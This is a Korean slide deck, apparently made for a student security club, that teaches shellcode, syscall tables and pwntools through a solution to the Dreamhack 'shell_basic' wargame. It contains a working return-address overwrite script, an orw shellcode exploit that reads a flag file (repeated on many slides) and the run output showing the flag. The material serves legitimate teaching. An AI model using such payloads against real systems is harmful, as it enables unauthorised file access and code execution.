여든사랑
SCP 심재훈

SHELLCODE

목 차

01 셸코드란?

Shellcode

```python
from pwn import *

p = remote('host3.dreamhack.games', '24563')

get_shell = 0x4006aa

payload = 'A' * 0x30
payload += 'B' * 0x8
payload += '\xaa\x06\x40\x00\x00\x00\x00\x00'

p.recvuntil('Input: ')

p.sendline(payload)

p.interactive()
```

✔ 취약점 공격을 위해 제작된 어셈블리 코드 조각

02_1 orw 셸코드

Orw 셸코드

syscall	rax	arg0 (rdi)	arg1 (rsi)	arg2 (rdx)
read	0x00	unsigned int fd	char *buf	size_t count
write	0x01	unsigned int fd	const char *buf	size_t count
open	0x02	const char *filename	int flags	umode_t mode

✔ 파일을 열고, 읽고 출력하는 셸코드

02_2 execve 셸코드

Execve 셸코드

syscall	rax	arg0 (rdi)	arg1 (rsi)	arg2 (rdx)
execve	0x3b	const char *filename	const char *const *argv	const char *const *envp

✔ 프로그램을 실행하는 셸코드

03 실습 준비

Pwntools

PWNTOOLS

✔ 시스템 해킹에 필요한 기능이 있는 파이썬 모듈

03_1 pwntools 사용법

Pwntools

```
from pwn import *
```

✔ pwn 모듈을 import 해줘야한다.

03_1 pwntools 사용법

Pwntools

```
p = remote('host3.dreamhack.games', '24563')
```

- Remote는 원격 접속 기능을 제공
- 리눅스 netcat 명령어와 동일

03_1 pwntools 사용법

Pwntools

- 입력
- 입력 후 개행
- 출력하면 입력
- 출력하면 입력 후 개행

```
p.send('hello')
p.sendline('hello')
p.sendafter('hello','world')
p.sendlineafter('hello','world')
```

03_1 pwntools 사용법

Pwntools

- n 만큼 받기
- 개행문자까지 받기
- n 만큼만 받기
- Hello가 출력될 때까지 받기
- 종료될 때까지 받기

```
p.recv(1024)
p.recvline()
p.recvn(5)
p.recvuntil('hello')
p.recvall()
```

Pwntools

```
p.interactive()
```

✔ 터미널로 프로세스에 입력하고 출력을 확인

Shell_basic

Description

입력한 셸코드를 실행하는 프로그램입니다.

`main` 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.

flag 위치와 이름은 `/home/shell_basic/flag_name_is_loooooong` 입니다.

Host: host3.dreamhack.games
Port: 11003/tcp

Shell_basic

- 입력한 셸코드를 실행하는 프로그램?
- Flag를 출력하는 셸코드를 입력
- Execve 사용 불가능 -> orw 셸코드 작성
- Pwntools를 이용해 셸코드를 만들어보자.

04_1 문제 풀이

```python
from pwn import *

p = remote('host3.dreamhack.games', 11003)
context.arch = 'amd64'
flag_addr = "/home/shell_basic/flag_name_is_loooooong"

shellcode = ''
shellcode += shellcraft.open(flag_addr)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)

p.recvuntil("shellcode: ")
p.sendline(asm(shellcode))
print(p.recv())
```

- Pwntools 사용하기 위해 pwn 모듈 import 하기

04_1 문제 풀이

```python
from pwn import *

p = remote('host3.dreamhack.games', 11003)
context.arch = 'amd64'
flag_addr = "/home/shell_basic/flag_name_is_loooooong"

shellcode = ''
shellcode += shellcraft.open(flag_addr)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)

p.recvuntil("shellcode: ")
p.sendline(asm(shellcode))
print(p.recv())
```

- Remote를 사용해 원격 접속

04_1 문제 풀이

```python
from pwn import *

p = remote('host3.dreamhack.games', 11003)
context.arch = 'amd64'
flag_addr = "/home/shell_basic/flag_name_is_loooooong"

shellcode = ''
shellcode += shellcraft.open(flag_addr)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)

p.recvuntil("shellcode: ")
p.sendline(asm(shellcode))
print(p.recv())
```

✔ 아키텍쳐 설정

04_1 문제 풀이

```python
from pwn import *

p = remote('host3.dreamhack.games', 11003)
context.arch = 'amd64'
flag_addr = "/home/shell_basic/flag_name_is_loooooong"

shellcode = ''
shellcode += shellcraft.open(flag_addr)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)

p.recvuntil("shellcode: ")
p.sendline(asm(shellcode))
print(p.recv())
```

- Flag_addr 변수에 Flag 경로 선언

04_1 문제 풀이

```python
from pwn import *

p = remote('host3.dreamhack.games', 11003)
context.arch = 'amd64'
flag_addr = "/home/shell_basic/flag_name_is_loooooong"

shellcode = ''
shellcode += shellcraft.open(flag_addr)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)

p.recvuntil("shellcode: ")
p.sendline(asm(shellcode))
print(p.recv())
```

✓ 셸코드 변수 선언

04_1 문제 풀이

```python
from pwn import *

p = remote('host3.dreamhack.games', 11003)
context.arch = 'amd64'
flag_addr = "/home/shell_basic/flag_name_is_loooooong"

shellcode = ''
shellcode += shellcraft.open(flag_addr)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)

p.recvuntil("shellcode: ")
p.sendline(asm(shellcode))
print(p.recv())
```

✓ 경로를 오픈하는 셸코드 작성

04_1 문제 풀이

```python
from pwn import *

p = remote('host3.dreamhack.games', 11003)
context.arch = 'amd64'
flag_addr = "/home/shell_basic/flag_name_is_loooooong"

shellcode = ''
shellcode += shellcraft.open(flag_addr)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)

p.recvuntil("shellcode: ")
p.sendline(asm(shellcode))
print(p.recv())
```

- 파일 속 데이터를 읽는 셸코드 작성

04_1 문제 풀이

```python
from pwn import *

p = remote('host3.dreamhack.games', 11003)
context.arch = 'amd64'
flag_addr = "/home/shell_basic/flag_name_is_loooooong"

shellcode = ''
shellcode += shellcraft.open(flag_addr)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)

p.recvuntil("shellcode: ")
p.sendline(asm(shellcode))
print(p.recv())
```

✓ 읽은 데이터를 콘솔에 출력하는 셸코드 작성

04_1 문제 풀이

```python
from pwn import *

p = remote('host3.dreamhack.games', 11003)
context.arch = 'amd64'
flag_addr = "/home/shell_basic/flag_name_is_loooooong"

shellcode = ''
shellcode += shellcraft.open(flag_addr)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)

p.recvuntil("shellcode: ")
p.sendline(asm(shellcode))
print(p.recv())
```

- shellcode: 라는 문자열이 나오면

04_1 문제 풀이

```python
from pwn import *

p = remote('host3.dreamhack.games', 11003)
context.arch = 'amd64'
flag_addr = "/home/shell_basic/flag_name_is_loooooong"

shellcode = ''
shellcode += shellcraft.open(flag_addr)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)

p.recvuntil("shellcode: ")
p.sendline(asm(shellcode))
print(p.recv())
```

✓ 어셈블리어로 변한 셸코드를 입력

04_1 문제 풀이

```python
from pwn import *

p = remote('host3.dreamhack.games', 11003)
context.arch = 'amd64'
flag_addr = "/home/shell_basic/flag_name_is_loooooong"

shellcode = ''
shellcode += shellcraft.open(flag_addr)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)

p.recvuntil("shellcode: ")
p.sendline(asm(shellcode))
print(p.recv())
```

- 반환값(Flag)을 출력

04_2 문제 해결

```
[jaehoon@fedora 7268ac11-f359-4a48-90c6-8cc0498504f5]$ python3 shell.py
[+] Opening connection to host3.dreamhack.games on port 17452: Done
/home/jaehoon/7268ac11-f359-4a48-90c6-8cc0498504f5/shell.py:12: BytesWarning: Text is not bytes; assuming ASCI
I, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("shellcode: ")
b'DH{ca562d7cf1db6c55cb11c4ec350a3c0b}\nong\x00\x00\x00\x00\x00\x00\x00\x00\xdeK/\xbaUU\x00\x00\x08W\x7f\n\xff
\x7f\x00\x00`I/\xba\x01\x00\x00\x00\x00\xb0\xabt^\x7f\x00\x00\x00\xb0\xabt^\x7f\x00\x00\xf0K/\xbaUU\x00\x00\x8
7<*t^\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x08W\x7f\n\xff\x7f\x00\x00\x00\x80\x00\x00\x01\x00\x00\x00XK
/\xbaUU\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbf^\xb0\xb43\x017L`I/\xbaUU\x00\x00\x00W\x7f\n\xff\x7f\x00\x0
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbf^0\x8f\x93ab\x19\xbf^.[9\x9d \x18\x00\x00
\x00\x00\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd38\x8at^\x7f\x00\x0
0X\x19\x89t^\x7f\x00\x00\xf6\x8b%\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Closed connection to host3.dreamhack.games port 17452
```

✔ 실행 시키면 Flag가 나오는 것을 확인할 수 있다.

Q & A

감사합니다